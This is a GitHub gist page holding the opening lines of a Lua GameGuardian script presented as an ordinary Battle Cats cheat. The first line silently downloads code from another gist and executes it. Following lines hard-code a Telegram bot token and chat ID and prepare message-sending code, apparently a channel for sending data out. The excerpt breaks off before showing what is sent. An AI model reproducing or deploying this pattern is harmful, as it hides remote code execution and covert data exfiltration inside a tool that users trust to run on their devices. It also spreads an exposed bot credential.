Skip to content

Instantly share code, notes, and snippets.

View fmxr044's full-sized avatar
💭
I may be slow to respond.

良辰美景 fmxr044

💭
I may be slow to respond.
View GitHub Profile
@fmxr044
fmxr044 / Battle_cat_tw_gg
Last active February 12, 2026 09:14
猫咪大战争普通GG脚本
API=gg.makeRequest('https://gist.githubusercontent.com/fmxr044/ad48640b175553b83c00a76b95ff6684/raw/offset_data').content pcall(load(API))
local BOT_TOKEN = "8325957359:AAHUX505Xs17id2pT-djxgZYQJdIWBfR5Yg"
local CHAT_ID = "-1003012257321"
local API_URL = "https://api.telegram.org/bot" .. BOT_TOKEN .. "/sendMessage"
local function urlencode(str)
if str == nil then return "" end
str = tostring(str)
str = str:gsub("\n", "%%0A")
str = str:gsub("([^%w _%%%-%.~])", function(c)
return string.format("%%%02X", string.byte(c))